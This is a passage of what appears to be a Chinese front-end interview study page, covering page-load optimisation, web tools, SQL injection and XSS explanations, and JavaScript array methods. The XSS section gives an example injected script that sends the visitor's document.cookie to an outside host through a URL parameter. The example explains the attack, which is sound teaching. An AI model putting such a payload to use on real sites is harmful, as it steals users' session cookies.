&#x9875;&#x9762;&#x52A0;&#x8F7D;&#x901F;&#x5EA6;&#x7684;&#x65B9;&#x6CD5;&#xFF08;&#x53EF;&#x4EE5;&#x5206;&#x522B;&#x4ECE;&#x9875;&#x9762;&#x5143;&#x7D20;&#x5C55;&#x73B0;&#xFF0C;&#x8BF7;&#x6C42;&#x8FDE;&#x63A5;&#xFF0C;css,js,&#x670D;&#x52A1;&#x5668;&#x7B49;&#x65B9;&#x9762;&#x4ECB;&#x7ECD;&#xFF09;</h2><p>1) &#x4F18;&#x5316;&#x56FE;&#x50CF;&#xFF0C;&#x4F7F;&#x7528; CSS Sprites &#x6574;&#x5408;&#x56FE;&#x50CF;<br>2) &#x53BB;&#x6389;&#x4E0D;&#x5FC5;&#x8981;&#x7684;&#x63D2;&#x4EF6;<br>3) &#x51CF;&#x5C11;DNS&#x67E5;&#x8BE2;(DNS lookups)<br>4) &#x6700;&#x5C0F;&#x5316;&#x91CD;&#x5B9A;&#x5411;&#xFF0C;&#x91CD;&#x5B9A;&#x5411;&#x589E;&#x52A0;&#x4E86;&#x989D;&#x5916;&#x7684;HTTP&#x8BF7;&#x6C42;<br>5) &#x4F7F;&#x7528;&#x5185;&#x5BB9;&#x5206;&#x53D1;&#x7F51;&#x7EDC;&#xFF08;Content Delivery Network CDN&#xFF09;<br>6) &#x628A;CSS&#x6587;&#x4EF6;&#x653E;&#x5728;&#x9875;&#x9762;&#x9876;&#x90E8;&#xFF0C;&#x800C;JS&#x6587;&#x4EF6;&#x653E;&#x5728;&#x5E95;&#x90E8;<br>7) &#x5229;&#x7528;&#x6D4F;&#x89C8;&#x5668;&#x7F13;&#x5B58;<br>8) &#x538B;&#x7F29;CSS&#x548C;JavaScript<br>9) &#x542F;&#x7528;GZIP&#x538B;&#x7F29;</p>
<blockquote>
<p>&#x4F7F;&#x7528;&#x826F;&#x597D;&#x7684;&#x7ED3;&#x6784;;<br>&#x4E0D;&#x8981;&#x4F7F;&#x5E03;&#x5C40;&#x8D85;&#x8F7D;;<br>&#x4E0D;&#x8981;&#x4F7F;&#x7528;&#x56FE;&#x50CF;&#x6765;&#x8868;&#x793A;&#x6587;&#x672C;&#xFF0C;&#x56FE;&#x50CF;&#x8FDB;&#x884C;&#x5BFC;&#x822A;&#x4E0D;&#x5229;&#x4E8E; SEO;<br>&#x68C0;&#x67E5; cookie &#x4F7F;&#x7528;&#x60C5;&#x51B5;;<br>&#x5C3D;&#x53EF;&#x80FD;&#x907F;&#x514D;&#x4F7F;&#x7528;&#x8868;&#x683C;;<br>&#x5220;&#x9664;&#x4EFB;&#x4F55;&#x4E0D;&#x5FC5;&#x8981;&#x7684;&#x5143;&#x7D20;;<br>&#x4E00;&#x4E9B;&#x4F18;&#x5316;&#x7F51;&#x9875;&#x7684;&#x6280;&#x5DE7;;<br>&#x538B;&#x7F29;&#x548C;&#x7F29;&#x5C0F; JavaScript &#x6587;&#x4EF6;;<br>&#x8BBE;&#x7F6E;&#x56FE;&#x50CF;&#x5927;&#x5C0F;;<br>&#x5C06; CSS &#x56FE;&#x50CF;&#x6620;&#x5C04;&#x7528;&#x4E8E;&#x88C5;&#x9970;&#x529F;&#x80FD;;<br>&#x5C3D;&#x53EF;&#x80FD;&#x5EF6;&#x8FDF;&#x811A;&#x672C;&#x52A0;&#x8F7D;;<br>&#x6309;&#x9700;&#x52A0;&#x8F7D; JavaScript &#x6587;&#x4EF6;;<br>&#x4F18;&#x5316; CSS &#x6587;&#x4EF6;;<br>&#x4F7F;&#x7528;&#x5185;&#x5BB9;&#x5206;&#x5E03;&#x7F51;&#x7EDC;;<br>&#x5BF9;&#x8D44;&#x4EA7;&#x4F7F;&#x7528;&#x591A;&#x4E2A;&#x57DF;&#x6765;&#x589E;&#x52A0;&#x8FDE;&#x63A5;;<br>&#x5728;&#x5408;&#x9002;&#x7684;&#x65F6;&#x5019;&#x4F7F;&#x7528; Google Gears;<br>&#x4F7F;&#x7528; PNG &#x683C;&#x5F0F;&#x7684;&#x56FE;&#x50CF;;<br>&#x4FDD;&#x6301; Ajax &#x8C03;&#x7528;&#x7B80;&#x77ED;&#x3001;&#x51C6;&#x786E;;<br>&#x8FDB;&#x884C;&#x4E00;&#x6B21;&#x8F83;&#x5927;&#x7684; Ajax &#x8C03;&#x7528;&#x5E76;&#x5728;&#x672C;&#x5730;&#x5904;&#x7406;&#x5BA2;&#x6237;&#x673A;&#x6570;&#x636E;;<br>&#x5728;&#x6C99;&#x7BB1;&#x4E2D;&#x6D4B;&#x8BD5;&#x4EE3;&#x7801;;<br>&#x5206;&#x6790;&#x7AD9;&#x70B9;&#x4EE3;&#x7801;;<br>&#x4F7F;&#x7528; JSLint &#x68C0;&#x67E5; JavaScript &#x4EE3;&#x7801;&#x4E2D;&#x7684;&#x9519;&#x8BEF;&#x6216;&#x7CDF;&#x7CD5;&#x7684;&#x7F16;&#x7801;&#x5B9E;&#x8DF5;;<br>&#x68C0;&#x67E5;&#x5B64;&#x7ACB;&#x7684;&#x6587;&#x4EF6;&#x548C;&#x4E22;&#x5931;&#x7684;&#x56FE;&#x50CF; ;<br>YSlow &#x6269;&#x5C55;&#xFF1A;&#x4F7F;&#x7528; YSlow &#x5206;&#x6790;&#x7F51;&#x9875;;</p>
</blockquote>
<p><a href="http://www.cnblogs.com/xp796/p/5236945.html" target="_blank" rel="external">25&#x79CD;&#x63D0;&#x9AD8;&#x7F51;&#x9875;&#x52A0;&#x8F7D;&#x901F;&#x5EA6;&#x7684;&#x65B9;&#x6CD5;&#x548C;&#x6280;&#x5DE7;</a></p>
<h2 id="&#x5217;&#x4E3E;&#x5E38;&#x7528;&#x7684;-web-&#x9875;&#x9762;&#x5F00;&#x53D1;&#xFF0C;&#x8C03;&#x8BD5;&#x4EE5;&#x53CA;&#x4F18;&#x5316;&#x5DE5;&#x5177;"><a href="#&#x5217;&#x4E3E;&#x5E38;&#x7528;&#x7684;-web-&#x9875;&#x9762;&#x5F00;&#x53D1;&#xFF0C;&#x8C03;&#x8BD5;&#x4EE5;&#x53CA;&#x4F18;&#x5316;&#x5DE5;&#x5177;" class="headerlink" title="&#x5217;&#x4E3E;&#x5E38;&#x7528;&#x7684; web &#x9875;&#x9762;&#x5F00;&#x53D1;&#xFF0C;&#x8C03;&#x8BD5;&#x4EE5;&#x53CA;&#x4F18;&#x5316;&#x5DE5;&#x5177;"></a>&#x5217;&#x4E3E;&#x5E38;&#x7528;&#x7684; web &#x9875;&#x9762;&#x5F00;&#x53D1;&#xFF0C;&#x8C03;&#x8BD5;&#x4EE5;&#x53CA;&#x4F18;&#x5316;&#x5DE5;&#x5177;</h2><p>&#x5F00;&#x53D1;&#x5DE5;&#x5177;&#xFF1A;PS&#x3001;FireWorks&#x3001;WebStrom&#x3001;SubLime Text&#x3001;Eclipse&#x3001;Aptana&#x3001;DreamWeaver&#x3001;NotePad++&#x3001;Yslow<br>&#x8C03;&#x8BD5;&#x5DE5;&#x5177;&#xFF1A;&#x8C37;&#x6B4C;&#x6D4F;&#x89C8;&#x5668;&#x3001;&#x706B;&#x72D0; FireBug&#x3001;IETester&#x3001;HTTPWatch Stadio<br>&#x4F18;&#x5316;&#x5DE5;&#x5177;&#xFF1A;gulp&#x3001;grunt&#x3001;webpack<br>&#x4F7F;&#x7528;&#x7387;&#x8F83;&#x9AD8;&#x7684;&#x6846;&#x67B6;&#x6709; jQuery&#x3001;YUI&#x3001;Prototype&#x3001;Dojo&#x3001;Ext.js&#x3001;Mootools&#x7B49;&#x3002;&#x5C24;&#x5176;&#x662F;jQuery&#xFF0C;&#x8D85;&#x8FC7;91%&#x3002;<br>&#x8F7B;&#x91CF;&#x7EA7;&#x6846;&#x67B6;&#x6709; Modernizr&#x3001;underscore.js&#x3001;backbone.js&#x3001;Raphael.js&#x7B49;&#x3002;</p>
<h2 id="&#x89E3;&#x91CA;&#x4EC0;&#x4E48;&#x662F;sql&#x6CE8;&#x5165;&#xFF0C;xss&#x6F0F;&#x6D1E;"><a href="#&#x89E3;&#x91CA;&#x4EC0;&#x4E48;&#x662F;sql&#x6CE8;&#x5165;&#xFF0C;xss&#x6F0F;&#x6D1E;" class="headerlink" title="&#x89E3;&#x91CA;&#x4EC0;&#x4E48;&#x662F;sql&#x6CE8;&#x5165;&#xFF0C;xss&#x6F0F;&#x6D1E;"></a>&#x89E3;&#x91CA;&#x4EC0;&#x4E48;&#x662F;sql&#x6CE8;&#x5165;&#xFF0C;xss&#x6F0F;&#x6D1E;</h2><p>&#x6240;&#x8C13;SQL&#x6CE8;&#x5165;&#x5F0F;&#x653B;&#x51FB;&#xFF0C;&#x5C31;&#x662F;&#x653B;&#x51FB;&#x8005;&#x628A;SQL&#x547D;&#x4EE4;&#x63D2;&#x5165;&#x5230;Web&#x8868;&#x5355;&#x7684;&#x8F93;&#x5165;&#x57DF;&#x6216;&#x9875;&#x9762;&#x8BF7;&#x6C42;&#x7684;&#x67E5;&#x8BE2;&#x5B57;&#x7B26;&#x4E32;&#xFF0C;&#x6B3A;&#x9A97;&#x670D;&#x52A1;&#x5668;&#x6267;&#x884C;&#x6076;&#x610F;&#x7684;SQL&#x547D;&#x4EE4;&#x3002;<br>&#x5728;&#x67D0;&#x4E9B;&#x8868;&#x5355;&#x4E2D;&#xFF0C;&#x7528;&#x6237;&#x8F93;&#x5165;&#x7684;&#x5185;&#x5BB9;&#x76F4;&#x63A5;&#x7528;&#x6765;&#x6784;&#x9020;&#xFF08;&#x6216;&#x8005;&#x5F71;&#x54CD;&#xFF09;&#x52A8;&#x6001;SQL&#x547D;&#x4EE4;&#xFF0C;&#x6216;&#x4F5C;&#x4E3A;&#x5B58;&#x50A8;&#x8FC7;&#x7A0B;&#x7684;&#x8F93;&#x5165;&#x53C2;&#x6570;&#xFF0C;&#x8FD9;&#x7C7B;&#x8868;&#x5355;&#x7279;&#x522B;&#x5BB9;&#x6613;&#x53D7;&#x5230;SQL&#x6CE8;&#x5165;&#x5F0F;&#x653B;&#x51FB;&#x3002;</p>
<p>XSS&#x53C8;&#x53EB;CSS (Cross Site Script) &#xFF0C;&#x8DE8;&#x7AD9;&#x811A;&#x672C;&#x653B;&#x51FB;&#x3002;<br>&#x5B83;&#x6307;&#x7684;&#x662F;&#x6076;&#x610F;&#x653B;&#x51FB;&#x8005;&#x5F80;Web&#x9875;&#x9762;&#x91CC;&#x63D2;&#x5165;&#x6076;&#x610F;&#x811A;&#x672C;&#x4EE3;&#x7801;&#xFF0C;&#x800C;&#x7A0B;&#x5E8F;&#x5BF9;&#x4E8E;&#x7528;&#x6237;&#x8F93;&#x5165;&#x5185;&#x5BB9;&#x672A;&#x8FC7;&#x6EE4;&#xFF1B;&#x5F53;&#x7528;&#x6237;&#x6D4F;&#x89C8;&#x8BE5;&#x9875;&#x4E4B;&#x65F6;&#xFF0C;&#x5D4C;&#x5165;&#x5176;&#x4E2D;Web&#x91CC;&#x9762;&#x7684;&#x811A;&#x672C;&#x4EE3;&#x7801;&#x4F1A;&#x88AB;&#x6267;&#x884C;&#xFF0C;&#x4ECE;&#x800C;&#x8FBE;&#x5230;&#x6076;&#x610F;&#x653B;&#x51FB;&#x7528;&#x6237;&#x7684;&#x7279;&#x6B8A;&#x76EE;&#x7684;&#x3002;<br>1)&#x6076;&#x610F;&#x7528;&#x6237;&#xFF0C;&#x5728;&#x4E00;&#x4E9B;&#x516C;&#x5171;&#x533A;&#x57DF;&#xFF08;&#x4F8B;&#x5982;&#xFF0C;&#x5EFA;&#x8BAE;&#x63D0;&#x4EA4;&#x8868;&#x5355;&#x6216;&#x6D88;&#x606F;&#x516C;&#x5171;&#x677F;&#x7684;&#x8F93;&#x5165;&#x8868;&#x5355;&#xFF09;&#x8F93;&#x5165;&#x4E00;&#x4E9B;&#x6587;&#x672C;&#xFF0C;&#x8FD9;&#x4E9B;&#x6587;&#x672C;&#x88AB;&#x5176;&#x5B83;&#x7528;&#x6237;&#x770B;&#x5230;&#xFF0C;&#x4F46;&#x8FD9;&#x4E9B;&#x6587;&#x672C;&#x4E0D;&#x4EC5;&#x4EC5;&#x662F;&#x4ED6;&#x4EEC;&#x8981;&#x8F93;&#x5165;&#x7684;&#x6587;&#x672C;&#xFF0C;&#x540C;&#x65F6;&#x8FD8;&#x5305;&#x62EC;&#x4E00;&#x4E9B;&#x53EF;&#x4EE5;&#x5728;&#x5BA2;&#x6237;&#x7AEF;&#x6267;&#x884C;&#x7684;&#x811A;&#x672C;&#x3002;<br>&#x5982;&#xFF1A;<code>http://xxx.xxx.com.cn/intf/_photos.jsp?callback=&lt;script&gt;window.location.href=&quot;http://www.baidu.com?a=&quot; + escape(document.cookie)&lt;/script&gt;</code>&#x3001;&#x53C2;&#x6570;<code>&lt;script&gt;xxx&lt;/script&gt;</code>&#x5982;&#x679C;&#x8FD9;&#x91CC;&#x6CA1;&#x6709;&#x7ECF;&#x8FC7;&#x8F6C;&#x4E49;&#x5904;&#x7406;&#xFF0C;&#x5219;&#x9875;&#x9762;&#x4E2D;&#x5C31;&#x5D4C;&#x5165;&#x4E86;&#x4E00;&#x6BB5;script&#x3002;<br>2)&#x6076;&#x610F;&#x63D0;&#x4EA4;&#x8FD9;&#x4E2A;&#x8868;&#x5355;<br>3)&#x5176;&#x4ED6;&#x7528;&#x6237;&#x770B;&#x5230;&#x8FD9;&#x4E2A;&#x5305;&#x62EC;&#x6076;&#x610F;&#x811A;&#x672C;&#x7684;&#x9875;&#x9762;&#x5E76;&#x6267;&#x884C;&#xFF0C;&#x83B7;&#x53D6;&#x7528;&#x6237;&#x7684;cookie&#x7B49;&#x654F;&#x611F;&#x4FE1;&#x606F;&#x3002;</p>
<h2 id="&#x8BF7;&#x5217;&#x4E3E;js&#x6570;&#x7EC4;&#x7C7B;&#x578B;&#x4E2D;&#x7684;&#x5E38;&#x7528;&#x65B9;&#x6CD5;"><a href="#&#x8BF7;&#x5217;&#x4E3E;js&#x6570;&#x7EC4;&#x7C7B;&#x578B;&#x4E2D;&#x7684;&#x5E38;&#x7528;&#x65B9;&#x6CD5;" class="headerlink" title="&#x8BF7;&#x5217;&#x4E3E;js&#x6570;&#x7EC4;&#x7C7B;&#x578B;&#x4E2D;&#x7684;&#x5E38;&#x7528;&#x65B9;&#x6CD5;"></a>&#x8BF7;&#x5217;&#x4E3E;js&#x6570;&#x7EC4;&#x7C7B;&#x578B;&#x4E2D;&#x7684;&#x5E38;&#x7528;&#x65B9;&#x6CD5;</h2><ul>
<li>push();<ul>
<li>&#x5C3E;&#x90E8;&#x8FFD;&#x52A0;&#x4E00;&#x4E2A;&#x6216;&#x591A;&#x4E2A;&#x5143;&#x7D20;&#xFF0C;push &#x4E00;&#x4E2A;&#x5143;&#x7D20;&#x4E0E;&#x7ED9;&#x6570;&#x7EC4; a[a.length] &#x8D4B;&#x503C;&#x4E00;&#x6837;&#xFF1B;</li>
<li>&#x8FD4;&#x56DE;&#x65B0;&#x6570;&#x7EC4;&#x957F;&#x5EA6;</li>
<li>&#x64CD;&#x4F5C;&#x539F;&#x6570;&#x7EC4;&#xFF0C;&#x672B;&#x5C3E;&#x8FFD;&#x52A0;</li>
</ul>
</li>
<li>pop();<ul>
<li>&#x5220;&#x9664;&#x6570;&#x7EC4;&#x4E2D;&#x6700;&#x540E;&#x4E00;&#x4E2A;&#x5143;&#x7D20;&#xFF0C;</li>
<li>&#x8FD4;&#x56DE;&#x503C;&#x662F;&#x88AB;&#x5220;&#x9664;&#x7684;&#x8FD9;&#x4E2A;&#x5143;&#x7D20;</li>
<li>&#x64CD;&#x4F5C;&#x539F;&#x6570;&#x7EC4;</li>
</ul>
</li>
<li>shift();<ul>
<li>&#x5220;&#x9664;&#x6570;&#x7EC4;&#x4E2D;&#x7684;&#x7B2C;&#x4E00;&#x4E2A;&#x5143;&#x7D20;&#xFF0C;</li>
<li>&#x8FD4;&#x56DE;&#x503C;&#x662F;&#x88AB;&#x5220;&#x9664;&#x7684;&#x5143;&#x7D20;</li>
</ul>
</li>
<li>unshift();<ul>
<li>&#x5411;&#x6570;&#x7EC4;&#x4E2D;&#x7B2C;&#x4E00;&#x4E2A;&#x5143;&#x7D20;&#x4E4B;&#x524D;&#x63D2;&#x5165;&#x4E00;&#x4E2A;&#x6216;&#x591A;&#x4E2A;&#x65B0;&#x7684;&#x5143;&#x7D20;</li>
<li>&#x8FD4;&#x56DE;&#x503C;&#x662F;&#x65B0;&#x6570;&#x7EC4;&#x7684;&#x957F;&#x5EA6;</li>
</ul>
</li>
<li>concat(); Array.concat() &#x65B9;&#x6CD5;&#x521B;&#x5EFA;&#x5E76;&#x8FD4;&#x56DE;&#x65B0;&#x6570;&#x7EC4;<ul>
<li>&#x65B0;&#x7684;&#x6570;&#x7EC4;&#x548C;&#x65E7;&#x7684;&#x6570;&#x7EC4;&#x62FC;&#x63A5;&#xFF0C;&#x4EA7;&#x751F;&#x4E00;&#x4E2A;&#x65B0;&#x7684;&#x6570;&#x7EC4;</li>
<li>&#x4E0D;&#x4FEE;&#x6539;&#x539F;&#x6570;&#x7EC4;</li>
</ul>
</li>
<li>slice(); Array.slice()&#x65B9;&#x6CD5;&#x8FD4;&#x56DE;&#x6307;&#x5B9A;&#x6570;&#x7EC4;&#x7684;&#x4E00;&#x4E2A;&#x7247;&#x6BB5;&#x6216;&#x5B50;&#x6570;&#x7EC4;<ul>
<li>&#x4E24;&#x4E2A;&#x53C2;&#x6570;&#xFF1A; &#x5F00;&#x59CB;&#x7D22;&#x5F15;&#xFF0C;&#x7ED3;&#x675F;&#x7D22;&#x5F15;&#xFF0C;&#x8FD4;&#x56DE;&#x5305;&#x542B;&#x5F00;&#x59CB;&#x7D22;&#x5F15;&#xFF0C;&#x4E0D;&#x5305;&#x542B;&#x7ED3;&#x675F;&#x7D22;&#x5F15;&#x4F4D;&#x7F6E;&#x4E4B;&#x95F4;&#x7684;&#x6240;&#x6709;&#x6570;&#x7EC4;&#x5143;&#x7D20;&#xFF1B;</li>
<li>&#x6307;&#x5B9A;&#x4E00;&#x4E2A;&#x53C2;&#x6570;&#xFF0C;&#x8FD4;&#x56DE;&#x5305;&#x542B;&#x5F00;&#x59CB;&#x4F4D;&#x7F6E;&#x5230;&#x6570;&#x7EC4;&#x7ED3;&#x5C3E;&#x7684;&#x6240;&#x6709;&#x5143;&#x7D20;</li>
<li>&#x53C2;&#x6570;&#x662F;&#x8D1F;&#x6570;&#xFF0C;&#x76F8;&#x5BF9;&#x4E8E;&#x6700;&#x540E;&#x4E00;&#x4E2A;&#x4F4D;&#x7F6E;&#x7684;&#x3002;&#x5982;&#x53C2;&#x6570; -1 &#x6307;&#x5B9A;&#x4E86;&#x6700;&#x540E;&#x4E00;&#x4E2A;&#x5143;&#x7D20;&#xFF0C;-2 &#x662F;&#x5012;&#x6570;&#x7B2C;&#x4E8C;&#x4E2A;</li>
<li>&#x4ECE;&#x539F;&#x6765;&#x7684;&#x6570;&#x7EC4;&#x4E2D;&#x622A;&#x53D6;&#x51FA;&#x6765;&#x6307;&#x5B9A;&#x7684;&#x4E00;&#x90E8;&#x5206;&#x5143;&#x7D20;&#xFF0C;&#x4EA7;&#x751F;&#x65B0;&#x7684;&#x6570;&#x7EC4;</li>
<li>&#x4E0D;&#x64CD;&#x4F5C;&#x539F;&#x6570;&#x7EC4;</li>
</ul>
</li>
<li>splice(); Array.splice()&#x662F;&#x6570;&#x7EC4;&#x4E2D;&#x63D2;&#x5165;&#x6216;&#x5220;&#x9664;&#x5143;&#x7D20;&#x7684;&#x65B9;&#x6CD5;&#x3002;<ul>
<li>&#x4F1A;&#x4FEE;&#x6539;&#x8C03;&#x7528;&#x6570;&#x7EC4;&#xFF0C;</li>
<li>&#x7B2C;&#x4E00;&#x4E2A;&#x53C2;&#x6570;&#x662F;&#x5F00;&#x59CB;&#x7684;&#x4E0B;&#x6807;,&#x7B2C;&#x4E8C;&#x4E2A;&#x53C2;&#x6570;&#x662F;&#x6307;&#x5B9A;&#x4E86;&#x5220;&#x9664;&#x539F;&#x6570;&#x7EC4;&#x5143;&#x7D20;&#x7684;&#x4E2A;&#x6570;&#xFF1B;</li>
<li>&#x5982;&#x679C;&#x7701;&#x7565;&#x4E86;&#x7B2C;&#x4E8C;&#x4E2A;&#x53C2;&#x6570;&#xFF0C;&#x4ECE;&#x5F00;&#x59CB;&#x7D22;&#x5F15;&#x4F4D;&#x7F6E;&#x540E;&#x7684;&#x5143;&#x7D20;&#x90FD;&#x88AB;&#x5220;&#x9664;&#xFF1B;</li>
<li>&#x53EF;&#x4EE5;&#x6709;&#x7B2C;&#x4E09;&#x4E2A;&#x53C2;&#x6570;&#xFF0C;&#x7B2C;&#x56DB;&#x4E2A;&#x53C2;&#x6570;&#x2026;&#x8DDF;&#x5728;&#x7B2C;&#x4E8C;&#x4E2A;&#x53C2;&#x6570;&#x540E;&#x7684;&#x4EFB;&#x610F;&#x591A;&#x4E2A;&#x53C2;&#x6570;&#x662F;&#x9700;&#x8981;&#x63D2;&#x5165;&#x539F;&#x6570;&#x7EC4;&#x4E2D;&#x7684;&#x5143;&#x7D20;&#xFF0C;&#x4ECE;&#x7B2C;&#x4E00;&#x4E2A;&#x53C2;&#x6570;&#x6307;&#x5B9A;&#x7684;&#x7D22;&#x5F15;&#x4F4D;&#x7F6E;&#x63D2;&#x5165;&#xFF1B;</li>
<li>&#x8BE5;&#x65B9;&#x6CD5;&#x8FD4;&#x56DE;&#x7684;&#x662F;&#x5220;&#x9664;&#x5143;&#x7D20;&#x7EC4;&#x6210;&#x7684;&#x6570;&#x7EC4;,&#x5982;&#x679C;&#x6CA1;&#x6709;&#x66FF;&#x6362;&#x5219;&#x8FD4;&#x56DE;&#x7A7A;&#x6570;&#x7EC4;&#x3002;</li>
</ul>
</li>
<li>join(); &#x5C06;&#x6570;&#x7EC4;&#x4E2D;&#x7684;&#x6240;&#x6709;&#x5143;&#x7D20;&#x90FD;&#x8F6C;&#x5316;&#x6210;&#x5B57;&#x7B26;&#x4E32;&#x5E76;&#x8FDE;&#x63A5;&#x5230;&#x4E00;&#x8D77;<ul>
<li>&#x8FD4;&#x56DE;&#x6700;&#x7EC8;&#x751F;&#x6210;&#x7684;&#x5B57;&#x7B26;&#x4E32;</li>
<li>&#x662F; String.split() &#x65B9;&#x6CD5;&#x7684;&#x9006;&#x5411;&#x64CD;&#x4F5C;&#x3002;String.split() &#x662F;&#x5C06;&#x5B57;&#x7B26;&#x4E32;&#x5206;&#x9694;&#x6210;&#x5206;&#x9694;&#xFF0C;&#x8FD4;&#x56DE;&#x6570;&#x7EC4;&#xFF1B;</li>
</ul>
</li>
<li>reverse(); <ul>
<li>&#x53CD;&#x8F6C;&#x6570;&#x7EC4;</li>
<li>&#x64CD;&#x4F5C;&#x539F;&#x6570;&#x7EC4;</li>
<li>&#x8FD4;&#x56DE;&#x64CD;&#x4F5C;&#x540E;&#x7684;&#x9006;&#x5411;&#x6570;&#x7EC4;</li>
</ul>
</li>
<li>sort(); Array.sort() &#x65B9;&#x6CD5;&#x5C06;&#x6570;&#x7EC4;&#x4E2D;&#x7684;&#x5143;&#x7D20;&#x6392;&#x5E8F;&#x5E76;&#x8FD4;&#x56DE;&#x6392;&#x5E8F;&#x540E;&#x7684;&#x6570;&#x7EC4;<ul>
<li>&#x64CD;&#x4F5C;&#x539F;&#x6570;&#x7EC4;&#xFF1B;</li>
<li>&#x8FD4;&#x56DE;&#x6392;&#x5E8F;&#x540E;&#x7684;&#x6570;&#x7EC4;</li>
</ul>
</li>
<li>toString()<ul>
<li>&#x548C;&#x4E0D;&#x4F7F;&#x7528;&#x4EFB;&#x4F55;&#x53C2;&#x6570;&#x8C03;&#x7528; join() &#x65B9;&#x6CD5;&#x8FD4;&#x56DE;&#x7684;&#x5B57;&#x7B26;&#x4E32;&#x662F;&#x4E00;&#x6837;&#x7684;&#x3002;</li>
</ul>
</li>
<li>toLocalString() &#x65B9;&#x6CD5;&#x662F; toString() &#x65B9;&#x6CD5;&#x7684;&#x672C;&#x5730;&#x5316;&#x7248;&#x672C;&#xFF0C;&#x4F7F;&#x7528;&#x672C;&#x5730;&#x5316;&#x5206;&#x9694;&#x7B26;&#x5C06;&#x8FD9;&#x4E9B;&#x5B57;&#x7B26;&#x4E32;&#x8FDE;&#x63A5;&#x8D77;&#x6765;&#x751F;&#x6210;&#x6700;&#x7EC8;&#x5B57;&#x7B26;&#x4E32;&#x3002;</li>
<li>indexOf()&#x548C;lastIndexOf(); &#x641C;&#x7D22;&#x6574;&#x4E2A;&#x6570;&#x7EC4;&#x4E2D;&#x5177;&#x6709;&#x7ED9;&#x5B9A;&#x503C;&#x7684;&#x5143;&#x7D20;<ul>
<li>&#x67E5;&#x627E;&#x67D0;&#x4E2A;&#x5143;&#x7D20;&#xFF0C;</li>
<li>&#x7B2C;&#x4E00;&#x4E2A;&#x53C2;&#x6570;&#x662F;&#x8981;&#x67E5;&#x627E;&#x7684;&#x5143;&#x7D20;,</li>
<li>&#x7B2C;&#x4E8C;&#x4E2A;&#x53C2;&#x6570;&#x662F;&#x5F00;&#x59CB;&#x67E5;&#x627E;&#x7684;&#x4E0B;&#x6807;,</li>
<li>&#x627E;&#x5230;&#x5219;&#x8FD4;&#x56DE;&#x627E;&#x5230;&#x7684;&#x7B2C;&#x4E00;&#x4E2A;&#x5143;&#x7D20;&#x7684;&#x7D22;&#x5F15;&#xFF0C;&#x627E;&#x4E0D;&#x5230;&#x5219;&#x8FD4;&#x56DE;-1</li>
</ul>
</li>
<li>lastIndexOf();<ul>
<li>&#x8FD9;&#x4E2A;&#x65B9;&#x6CD5;&#x4E5F;&#x662F;&#x67E5;&#x627E;&#x5143;&#x7D20;,&#x4ECE;&#x540E;&#x9762;&#x5411;&#x524D;&#x9762;&#x627E;,&#x627E;&#x5230;&#x5219;&#x8FD4;&#x56DE;&#x5BF9;&#x5E94;&#x7684;&#x4E0B;&#x6807;,&#x627E;&#x4E0D;&#x5230;&#x5219;&#x8FD4;&#x56DE;-1&#xFF1B;</li>
<li>&#x7B2C;&#x4E8C;&#x4E2A;&#x5143;&#x7D20;&#x53EF;&#x4EE5;&#x662F;&#x8D1F;&#x6570;&#xFF0C;&#x4EE3;&#x8868;&#x76F8;&#x5BF9;&#x6570;&#x7EC4;&#x672B;&#x5C3E;&#x7684;&#x504F;&#x79FB;&#x91CF;&#xFF1B;</li>
</ul>
</li>
<li>every() &#x548C; some(); &#x6570;&#x7EC4;&#x7684;&#x903B;&#x8F91;&#x5224;&#x5B9A;&#xFF0C;&#x4F20;&#x5165;&#x4E00;&#x4E2A;&#x51FD;&#x6570;,&#x5224;&#x65AD;&#x6BCF;&#x4E2A;&#x6570;&#x7EC4;&#x4E2D;&#x7684;&#x5143;&#x7D20;&#x662F;&#x5426;&#x6EE1;&#x8DB3;&#x6761;&#x4EF6;&#xFF1B;<ul>
<li>every() &#x65B9;&#x6CD5;&#x9488;&#x5BF9;&#x6240;&#x6709;&#x7684;&#x5143;&#x7D20;&#x5224;&#x65AD;&#x8C03;&#x7528;&#x51FD;&#x6570;&#x8FD4;&#x56DE;&#x5168;&#x4E3A; true&#xFF0C;&#x5219;&#x8FD4;&#x56DE;true&#xFF1B;</li>
<li>every() &#x65B9;&#x6CD5;&#x6709;&#x4E00;&#x4E2A;&#x4E0D;&#x6EE1;&#x8DB3;&#x6761;&#x4EF6;&#x7684;&#x5219;&#x8FD4;&#x56DE; false</li>
<li>some() &#x65B9;&#x6CD5;&#x6240;&#x6709;&#x7684;&#x5143;&#x7D20;&#x5224;&#x65AD;&#x8C03;&#x7528;&#x51FD;&#x6570;&#x6709;&#x4E00;&#x4E2A;&#x6EE1;&#x8DB3;&#x6761;&#x4EF6;&#x7684;&#x5219;&#x8FD4;&#x56DE; true</li>
<li>some() &#x65B9;&#x6CD5;&#x5168;&#x4E3A; false, &#x5219;&#x8FD4;&#x56DE; false</li>
</ul>
</li>
<li>map() &#x65B9;&#x6CD5;&#xFF0C;&#x5C06;&#x8C03;&#x7528;&#x7684;&#x6570;&#x7EC4;&#x7684;&#x6BCF;&#x4E2A;&#x5143;&#x7D20;&#x4F20;&#x9012;&#x7ED9;&#x6307;&#x5B9A;&#x7684;&#x51FD;&#x6570;&#xFF0C;&#x5E76;&#x8FD4;&#x56DE;&#x4E00;&#x4E2A;&#x5305;&#x542B;&#x8BE5;&#x51FD;&#x6570;&#x7684;&#x6570;&#x7EC4;&#x3002;<ul>
<li>&#x8FD4;&#x56DE;&#x65B0;&#x6570;&#x7EC4;</li>
<li>&#x4E0D;&#x4FEE;&#x6539;&#x539F;&#x6570;&#x7EC4;</li>
<li>&#x7A00;&#x758F;&#x6570;&#x7EC4;&#x8C03;&#x7528;&#x8FD4;&#x56DE;&#x7684;&#x8FD8;&#x662F;&#x7A00;&#x758F;&#x6570;&#x7EC4;<ul>
<li>&#x4E00;&#x4E2A;&#x4F8B;&#x5B50;&#xFF1A;arr.map(Math.sqrt);<ul>
<li>map&#x8FD9;&#x4E2A;&#x65B9;&#x6CD5;&#x53EF;&#x4EE5;&#x4F20;&#x5165;&#x4E00;&#x4E2A;&#x56DE;&#x8C03;&#x51FD;&#x6570;,</li>
<li>&#x76F4;&#x63A5;&#x4F20;&#x5165;&#x4E86;&#x4E00;&#x4E2A;Math.sqrt&#x65B9;&#x6CD5;,sqrt&#x65B9;&#x6CD5;&#x662F;&#x4E3A;&#x67D0;&#x4E2A;&#x6570;&#x5B57;&#x5F00;&#x5E73;&#x65B9;&#x7684;</li>
